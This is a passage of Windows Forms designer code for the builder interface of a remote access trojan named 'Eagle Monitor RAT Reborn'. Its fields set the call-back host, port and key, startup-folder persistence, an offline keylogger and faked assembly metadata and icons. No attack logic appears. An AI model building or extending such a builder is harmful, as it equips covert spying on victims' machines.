this.hostsDataGridView.EnableHeadersVisualStyles = false; this.hostsDataGridView.GridColor = System.Drawing.Color.White; this.hostsDataGridView.Location = new System.Drawing.Point(63, 192); this.hostsDataGridView.Name = "hostsDataGridView"; this.hostsDataGridView.ReadOnly = true; this.hostsDataGridView.RowHeadersVisible = false; dataGridViewCellStyle30.BackColor = System.Drawing.Color.White; dataGridViewCellStyle30.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150))))); dataGridViewCellStyle30.SelectionBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(230)))), ((int)(((byte)(230)))), ((int)(((byte)(230))))); dataGridViewCellStyle30.SelectionForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(125)))), ((int)(((byte)(125)))), ((int)(((byte)(125))))); this.hostsDataGridView.RowsDefaultCellStyle = dataGridViewCellStyle30; this.hostsDataGridView.RowTemplate.Height = 26; this.hostsDataGridView.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; this.hostsDataGridView.Size = new System.Drawing.Size(762, 198); this.hostsDataGridView.TabIndex = 25; this.hostsDataGridView.TabStop = false; this.hostsDataGridView.MouseUp += new System.Windows.Forms.MouseEventHandler(this.hostsDataGridView_MouseUp); // // Column22 // this.Column22.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; dataGridViewCellStyle19.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150))))); this.Column22.DefaultCellStyle = dataGridViewCellStyle19; this.Column22.FillWeight = 18F; this.Column22.HeaderText = "Host"; this.Column22.Name = "Column22"; this.Column22.ReadOnly = true; this.Column22.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; // // Column23 // this.Column23.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; this.Column23.FillWeight = 15F; this.Column23.HeaderText = "Port"; this.Column23.Name = "Column23"; this.Column23.ReadOnly = true; // // hostContextMenuStrip // this.hostContextMenuStrip.ImageScalingSize = new System.Drawing.Size(28, 28); this.hostContextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.removeHostStripMenuItem}); this.hostContextMenuStrip.Name = "clientContextMenuStrip"; this.hostContextMenuStrip.Size = new System.Drawing.Size(130, 38); // // removeHostStripMenuItem // this.removeHostStripMenuItem.BackColor = System.Drawing.Color.White; this.removeHostStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.removeHostStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.minus_32px; this.removeHostStripMenuItem.Name = "removeHostStripMenuItem"; this.removeHostStripMenuItem.Size = new System.Drawing.Size(129, 34); this.removeHostStripMenuItem.Text = "Remove"; this.removeHostStripMenuItem.Click += new System.EventHandler(this.removeHostStripMenuItem_Click); // // label5 // this.label5.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.label5.Location = new System.Drawing.Point(60, 13); this.label5.Name = "label5"; this.label5.Size = new System.Drawing.Size(50, 36); this.label5.TabIndex = 24; this.label5.Text = "KEY :"; this.label5.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // // builderKeyGuna2TextBox // this.builderKeyGuna2TextBox.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) | System.Windows.Forms.AnchorStyles.Right))); this.builderKeyGuna2TextBox.Animated = true; this.builderKeyGuna2TextBox.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.builderKeyGuna2TextBox.Cursor = System.Windows.Forms.Cursors.IBeam; this.builderKeyGuna2TextBox.DefaultText = ""; this.builderKeyGuna2TextBox.DisabledState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(208)))), ((int)(((byte)(208)))), ((int)(((byte)(208))))); this.builderKeyGuna2TextBox.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(226)))), ((int)(((byte)(226)))), ((int)(((byte)(226))))); this.builderKeyGuna2TextBox.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138))))); this.builderKeyGuna2TextBox.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138))))); this.builderKeyGuna2TextBox.FocusedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255))))); this.builderKeyGuna2TextBox.Font = new System.Drawing.Font("Segoe UI", 9F); this.builderKeyGuna2TextBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.builderKeyGuna2TextBox.HoverState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255))))); this.builderKeyGuna2TextBox.Location = new System.Drawing.Point(133, 13); this.builderKeyGuna2TextBox.Name = "builderKeyGuna2TextBox"; this.builderKeyGuna2TextBox.PasswordChar = '\0'; this.builderKeyGuna2TextBox.PlaceholderForeColor = System.Drawing.Color.Gainsboro; this.builderKeyGuna2TextBox.PlaceholderText = "..."; this.builderKeyGuna2TextBox.SelectedText = ""; this.builderKeyGuna2TextBox.Size = new System.Drawing.Size(692, 36); this.builderKeyGuna2TextBox.TabIndex = 23; // // label2 // this.label2.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.label2.Location = new System.Drawing.Point(60, 97); this.label2.Name = "label2"; this.label2.Size = new System.Drawing.Size(50, 36); this.label2.TabIndex = 22; this.label2.Text = "PORT :"; this.label2.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // // portGuna2TextBox // this.portGuna2TextBox.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) | System.Windows.Forms.AnchorStyles.Right))); this.portGuna2TextBox.Animated = true; this.portGuna2TextBox.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.portGuna2TextBox.Cursor = System.Windows.Forms.Cursors.IBeam; this.portGuna2TextBox.DefaultText = ""; this.portGuna2TextBox.DisabledState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(208)))), ((int)(((byte)(208)))), ((int)(((byte)(208))))); this.portGuna2TextBox.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(226)))), ((int)(((byte)(226)))), ((int)(((byte)(226))))); this.portGuna2TextBox.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138))))); this.portGuna2TextBox.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138))))); this.portGuna2TextBox.FocusedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255))))); this.portGuna2TextBox.Font = new System.Drawing.Font("Segoe UI", 9F); this.portGuna2TextBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.portGuna2TextBox.HoverState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255))))); this.portGuna2TextBox.Location = new System.Drawing.Point(133, 97); this.portGuna2TextBox.Name = "portGuna2TextBox"; this.portGuna2TextBox.PasswordChar = '\0'; this.portGuna2TextBox.PlaceholderForeColor = System.Drawing.Color.Gainsboro; this.portGuna2TextBox.PlaceholderText = "..."; this.portGuna2TextBox.SelectedText = ""; this.portGuna2TextBox.Size = new System.Drawing.Size(692, 36); this.portGuna2TextBox.TabIndex = 21; // // label3 // this.label3.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.label3.Location = new System.Drawing.Point(60, 55); this.label3.Name = "label3"; this.label3.Size = new System.Drawing.Size(67, 36); this.label3.TabIndex = 20; this.label3.Text = "IP/DNS :"; this.label3.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // // dnsGuna2TextBox // this.dnsGuna2TextBox.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) | System.Windows.Forms.AnchorStyles.Right))); this.dnsGuna2TextBox.Animated = true; this.dnsGuna2TextBox.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.dnsGuna2TextBox.Cursor = System.Windows.Forms.Cursors.IBeam; this.dnsGuna2TextBox.DefaultText = ""; this.dnsGuna2TextBox.DisabledState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(208)))), ((int)(((byte)(208)))), ((int)(((byte)(208))))); this.dnsGuna2TextBox.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(226)))), ((int)(((byte)(226)))), ((int)(((byte)(226))))); this.dnsGuna2TextBox.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138))))); this.dnsGuna2TextBox.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138))))); this.dnsGuna2TextBox.FocusedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255))))); this.dnsGuna2TextBox.Font = new System.Drawing.Font("Segoe UI", 9F); this.dnsGuna2TextBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.dnsGuna2TextBox.HoverState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255))))); this.dnsGuna2TextBox.Location = new System.Drawing.Point(133, 55); this.dnsGuna2TextBox.Name = "dnsGuna2TextBox"; this.dnsGuna2TextBox.PasswordChar = '\0'; this.dnsGuna2TextBox.PlaceholderForeColor = System.Drawing.Color.Gainsboro; this.dnsGuna2TextBox.PlaceholderText = "..."; this.dnsGuna2TextBox.SelectedText = ""; this.dnsGuna2TextBox.Size = new System.Drawing.Size(692, 36); this.dnsGuna2TextBox.TabIndex = 19; // // tabPage7 // this.tabPage7.BackColor = System.Drawing.Color.White; this.tabPage7.Controls.Add(this.label21); this.tabPage7.Controls.Add(this.archiGuna2ComboBox); this.tabPage7.Controls.Add(this.label20); this.tabPage7.Controls.Add(this.persistenceMethodGuna2ComboBox); this.tabPage7.Controls.Add(this.label19); this.tabPage7.Controls.Add(this.pathPersistenceGuna2ComboBox); this.tabPage7.Controls.Add(this.vbStubGuna2CheckBox); this.tabPage7.Controls.Add(this.offKeyloguna2CheckBox); this.tabPage7.Controls.Add(this.persistenceGuna2CheckBox); this.tabPage7.Location = new System.Drawing.Point(4, 44); this.tabPage7.Name = "tabPage7"; this.tabPage7.Size = new System.Drawing.Size(900, 395); this.tabPage7.TabIndex = 1; this.tabPage7.Text = "Miscellaneous"; // // label21 // this.label21.Anchor = System.Windows.Forms.AnchorStyles.None; this.label21.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.label21.Location = new System.Drawing.Point(71, 148); this.label21.Name = "label21"; this.label21.Size = new System.Drawing.Size(119, 36); this.label21.TabIndex = 65; this.label21.Text = "Architecture :"; this.label21.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // // archiGuna2ComboBox // this.archiGuna2ComboBox.Anchor = System.Windows.Forms.AnchorStyles.None; this.archiGuna2ComboBox.Animated = true; this.archiGuna2ComboBox.AutoRoundedCorners = true; this.archiGuna2ComboBox.BackColor = System.Drawing.Color.White; this.archiGuna2ComboBox.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.archiGuna2ComboBox.BorderRadius = 17; this.archiGuna2ComboBox.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed; this.archiGuna2ComboBox.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; this.archiGuna2ComboBox.FocusedColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255))))); this.archiGuna2ComboBox.FocusedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255))))); this.archiGuna2ComboBox.Font = new System.Drawing.Font("Segoe UI Semibold", 8F); this.archiGuna2ComboBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.archiGuna2ComboBox.ItemHeight = 30; this.archiGuna2ComboBox.Items.AddRange(new object[] { "anycpu32bitpreferred", "anycpu", "x86", "x64"}); this.archiGuna2ComboBox.Location = new System.Drawing.Point(196, 148); this.archiGuna2ComboBox.Name = "archiGuna2ComboBox"; this.archiGuna2ComboBox.Size = new System.Drawing.Size(602, 36); this.archiGuna2ComboBox.StartIndex = 0; this.archiGuna2ComboBox.TabIndex = 64; this.archiGuna2ComboBox.TextAlign = System.Windows.Forms.HorizontalAlignment.Center; // // label20 // this.label20.Anchor = System.Windows.Forms.AnchorStyles.None; this.label20.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.label20.Location = new System.Drawing.Point(71, 184); this.label20.Name = "label20"; this.label20.Size = new System.Drawing.Size(119, 36); this.label20.TabIndex = 63; this.label20.Text = "Persistence method :"; this.label20.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // // persistenceMethodGuna2ComboBox // this.persistenceMethodGuna2ComboBox.Anchor = System.Windows.Forms.AnchorStyles.None; this.persistenceMethodGuna2ComboBox.Animated = true; this.persistenceMethodGuna2ComboBox.AutoRoundedCorners = true; this.persistenceMethodGuna2ComboBox.BackColor = System.Drawing.Color.White; this.persistenceMethodGuna2ComboBox.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.persistenceMethodGuna2ComboBox.BorderRadius = 17; this.persistenceMethodGuna2ComboBox.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed; this.persistenceMethodGuna2ComboBox.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; this.persistenceMethodGuna2ComboBox.FocusedColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255))))); this.persistenceMethodGuna2ComboBox.FocusedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255))))); this.persistenceMethodGuna2ComboBox.Font = new System.Drawing.Font("Segoe UI Semibold", 8F); this.persistenceMethodGuna2ComboBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.persistenceMethodGuna2ComboBox.ItemHeight = 30; this.persistenceMethodGuna2ComboBox.Items.AddRange(new object[] { "Shortcut in startup folder"}); this.persistenceMethodGuna2ComboBox.Location = new System.Drawing.Point(196, 187); this.persistenceMethodGuna2ComboBox.Name = "persistenceMethodGuna2ComboBox"; this.persistenceMethodGuna2ComboBox.Size = new System.Drawing.Size(602, 36); this.persistenceMethodGuna2ComboBox.StartIndex = 0; this.persistenceMethodGuna2ComboBox.TabIndex = 62; this.persistenceMethodGuna2ComboBox.TextAlign = System.Windows.Forms.HorizontalAlignment.Center; // // label19 // this.label19.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); this.label19.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.label19.Location = new System.Drawing.Point(70, 241); this.label19.Name = "label19"; this.label19.Size = new System.Drawing.Size(155, 17); this.label19.TabIndex = 59; this.label19.Text = "Installation folder :"; this.label19.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; this.label19.Visible = false; // // pathPersistenceGuna2ComboBox // this.pathPersistenceGuna2ComboBox.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); this.pathPersistenceGuna2ComboBox.Animated = true; this.pathPersistenceGuna2ComboBox.AutoRoundedCorners = true; this.pathPersistenceGuna2ComboBox.BackColor = System.Drawing.Color.White; this.pathPersistenceGuna2ComboBox.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.pathPersistenceGuna2ComboBox.BorderRadius = 17; this.pathPersistenceGuna2ComboBox.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed; this.pathPersistenceGuna2ComboBox.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; this.pathPersistenceGuna2ComboBox.FocusedColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255))))); this.pathPersistenceGuna2ComboBox.FocusedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255))))); this.pathPersistenceGuna2ComboBox.Font = new System.Drawing.Font("Segoe UI Semibold", 8F); this.pathPersistenceGuna2ComboBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.pathPersistenceGuna2ComboBox.ItemHeight = 30; this.pathPersistenceGuna2ComboBox.Items.AddRange(new object[] { "Local (Environment.SpecialFolder.ApplicationData)"}); this.pathPersistenceGuna2ComboBox.Location = new System.Drawing.Point(170, 232); this.pathPersistenceGuna2ComboBox.Name = "pathPersistenceGuna2ComboBox"; this.pathPersistenceGuna2ComboBox.Size = new System.Drawing.Size(628, 36); this.pathPersistenceGuna2ComboBox.StartIndex = 0; this.pathPersistenceGuna2ComboBox.TabIndex = 58; this.pathPersistenceGuna2ComboBox.TextAlign = System.Windows.Forms.HorizontalAlignment.Center; this.pathPersistenceGuna2ComboBox.Visible = false; // // vbStubGuna2CheckBox // this.vbStubGuna2CheckBox.Anchor = System.Windows.Forms.AnchorStyles.None; this.vbStubGuna2CheckBox.Animated = true; this.vbStubGuna2CheckBox.AutoSize = true; this.vbStubGuna2CheckBox.CheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.vbStubGuna2CheckBox.CheckedState.BorderRadius = 0; this.vbStubGuna2CheckBox.CheckedState.BorderThickness = 0; this.vbStubGuna2CheckBox.CheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.vbStubGuna2CheckBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.vbStubGuna2CheckBox.Location = new System.Drawing.Point(283, 128); this.vbStubGuna2CheckBox.Name = "vbStubGuna2CheckBox"; this.vbStubGuna2CheckBox.Size = new System.Drawing.Size(111, 17); this.vbStubGuna2CheckBox.TabIndex = 29; this.vbStubGuna2CheckBox.Text = "Visual Basic Stub"; this.vbStubGuna2CheckBox.UncheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.vbStubGuna2CheckBox.UncheckedState.BorderRadius = 0; this.vbStubGuna2CheckBox.UncheckedState.BorderThickness = 0; this.vbStubGuna2CheckBox.UncheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.vbStubGuna2CheckBox.Visible = false; // // offKeyloguna2CheckBox // this.offKeyloguna2CheckBox.Anchor = System.Windows.Forms.AnchorStyles.None; this.offKeyloguna2CheckBox.Animated = true; this.offKeyloguna2CheckBox.AutoSize = true; this.offKeyloguna2CheckBox.CheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.offKeyloguna2CheckBox.CheckedState.BorderRadius = 0; this.offKeyloguna2CheckBox.CheckedState.BorderThickness = 0; this.offKeyloguna2CheckBox.CheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.offKeyloguna2CheckBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.offKeyloguna2CheckBox.Location = new System.Drawing.Point(73, 128); this.offKeyloguna2CheckBox.Name = "offKeyloguna2CheckBox"; this.offKeyloguna2CheckBox.Size = new System.Drawing.Size(116, 17); this.offKeyloguna2CheckBox.TabIndex = 28; this.offKeyloguna2CheckBox.Text = "Offline Keylogger"; this.offKeyloguna2CheckBox.UncheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.offKeyloguna2CheckBox.UncheckedState.BorderRadius = 0; this.offKeyloguna2CheckBox.UncheckedState.BorderThickness = 0; this.offKeyloguna2CheckBox.UncheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); // // persistenceGuna2CheckBox // this.persistenceGuna2CheckBox.Anchor = System.Windows.Forms.AnchorStyles.None; this.persistenceGuna2CheckBox.Animated = true; this.persistenceGuna2CheckBox.AutoSize = true; this.persistenceGuna2CheckBox.CheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.persistenceGuna2CheckBox.CheckedState.BorderRadius = 0; this.persistenceGuna2CheckBox.CheckedState.BorderThickness = 0; this.persistenceGuna2CheckBox.CheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.persistenceGuna2CheckBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.persistenceGuna2CheckBox.Location = new System.Drawing.Point(195, 128); this.persistenceGuna2CheckBox.Name = "persistenceGuna2CheckBox"; this.persistenceGuna2CheckBox.Size = new System.Drawing.Size(82, 17); this.persistenceGuna2CheckBox.TabIndex = 27; this.persistenceGuna2CheckBox.Text = "Persistence"; this.persistenceGuna2CheckBox.UncheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.persistenceGuna2CheckBox.UncheckedState.BorderRadius = 0; this.persistenceGuna2CheckBox.UncheckedState.BorderThickness = 0; this.persistenceGuna2CheckBox.UncheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.persistenceGuna2CheckBox.CheckedChanged += new System.EventHandler(this.persistenceGuna2CheckBox_CheckedChanged); // // tabPage8 // this.tabPage8.Controls.Add(this.randomizeGuna2Button); this.tabPage8.Controls.Add(this.iconGuna2Button); this.tabPage8.Controls.Add(this.pictureBox1); this.tabPage8.Controls.Add(this.label15); this.tabPage8.Controls.Add(this.productGuna2TextBox); this.tabPage8.Controls.Add(this.productVersionGuna2TextBox); this.tabPage8.Controls.Add(this.label13); this.tabPage8.Controls.Add(this.filenameGuna2TextBox); this.tabPage8.Controls.Add(this.label12); this.tabPage8.Controls.Add(this.fileVersionGuna2TextBox); this.tabPage8.Controls.Add(this.label11); this.tabPage8.Controls.Add(this.copyrightGuna2TextBox); this.tabPage8.Controls.Add(this.label10); this.tabPage8.Controls.Add(this.companyGuna2TextBox); this.tabPage8.Controls.Add(this.label9); this.tabPage8.Controls.Add(this.descriptionGuna2TextBox); this.tabPage8.Controls.Add(this.label8); this.tabPage8.Controls.Add(this.trademarksGuna2TextBox); this.tabPage8.Controls.Add(this.label7); this.tabPage8.Controls.Add(this.label14); this.tabPage8.Location = new System.Drawing.Point(4, 44); this.tabPage8.Name = "tabPage8"; this.tabPage8.Size = new System.Drawing.Size(900, 395); this.tabPage8.TabIndex = 2; this.tabPage8.Text = "Assembly"; this.tabPage8.UseVisualStyleBackColor = true; // // randomizeGuna2Button // this.randomizeGuna2Button.Anchor = System.Windows.Forms.AnchorStyles.None; this.randomizeGuna2Button.Animated = true; this.randomizeGuna2Button.DisabledState.BorderColor = System.Drawing.Color.DarkGray; this.randomizeGuna2Button.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray; this.randomizeGuna2Button.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(169)))), ((int)(((byte)(169)))), ((int)(((byte)(169))))); this.randomizeGuna2Button.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(141)))), ((int)(((byte)(141)))), ((int)(((byte)(141))))); this.randomizeGuna2Button.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.randomizeGuna2Button.Font = new System.Drawing.Font("Segoe UI", 9F); this.randomizeGuna2Button.ForeColor = System.Drawing.Color.White; this.randomizeGuna2Button.Location = new System.Drawing.Point(97, 330); this.randomizeGuna2Button.Name = "randomizeGuna2Button"; this.randomizeGuna2Button.Size = new System.Drawing.Size(692, 32); this.randomizeGuna2Button.TabIndex = 48; this.randomizeGuna2Button.Text = "Randomize information"; this.randomizeGuna2Button.Click += new System.EventHandler(this.randomizeGuna2Button_Click); // // iconGuna2Button // this.iconGuna2Button.Anchor = System.Windows.Forms.AnchorStyles.None; this.iconGuna2Button.Animated = true; this.iconGuna2Button.DisabledState.BorderColor = System.Drawing.Color.DarkGray; this.iconGuna2Button.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray; this.iconGuna2Button.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(169)))), ((int)(((byte)(169)))), ((int)(((byte)(169))))); this.iconGuna2Button.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(141)))), ((int)(((byte)(141)))), ((int)(((byte)(141))))); this.iconGuna2Button.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.iconGuna2Button.Font = new System.Drawing.Font("Segoe UI", 9F); this.iconGuna2Button.ForeColor = System.Drawing.Color.White; this.iconGuna2Button.Location = new System.Drawing.Point(225, 278); this.iconGuna2Button.Name = "iconGuna2Button"; this.iconGuna2Button.Size = new System.Drawing.Size(564, 32); this.iconGuna2Button.TabIndex = 47; this.iconGuna2Button.Text = "Browse Icon"; this.iconGuna2Button.Click += new System.EventHandler(this.iconGuna2Button_Click); // // pictureBox1 // this.pictureBox1.Anchor = System.Windows.Forms.AnchorStyles.None; this.pictureBox1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.pictureBox1.Location = new System.Drawing.Point(173, 278); this.pictureBox1.Name = "pictureBox1"; this.pictureBox1.Size = new System.Drawing.Size(32, 32); this.pictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage; this.pictureBox1.TabIndex = 45; this.pictureBox1.TabStop = false; // // label15 // this.label15.Anchor = System.Windows.Forms.AnchorStyles.None; this.label15.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); this.label15.Location = new System.Drawing.Point(94, 278); this.label15.Name = "label15"; this.label15.Size = new System.Drawing.Size(105, 32); this.label15.TabIndex = 46; this.label15.Text = "Icon :"; this.label15.TextAlign = System.Drawing.ContentAlignment.MiddleLeft; // // productGuna2TextBox // this.productGuna2TextBox.Anchor = System.Windows.Forms.AnchorStyles.None; this.productGuna2TextBox.Animated = true; this.productGuna2TextBox.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); this.productGuna2TextBox.Cursor = System.Windows.Forms.Cursors.IBeam; this.productGuna2TextBox.DefaultText = ""; this.productGuna2TextBox.DisabledState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(208)))), ((int)(((byte)(208)))), ((int)(((byte)(208))))); this.productGuna2TextBox.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(226)))), ((int)(((byte)(226)))), ((int)(((byte)(226))))); this.productGuna2TextBox.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138))))); this.productGuna2TextBox.DisabledState.PlaceholderForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(138)))), ((int)(((byte)(138)))), ((int)(((byte)(138))))); this.productGuna2TextBox.FocusedState.BorderColor = 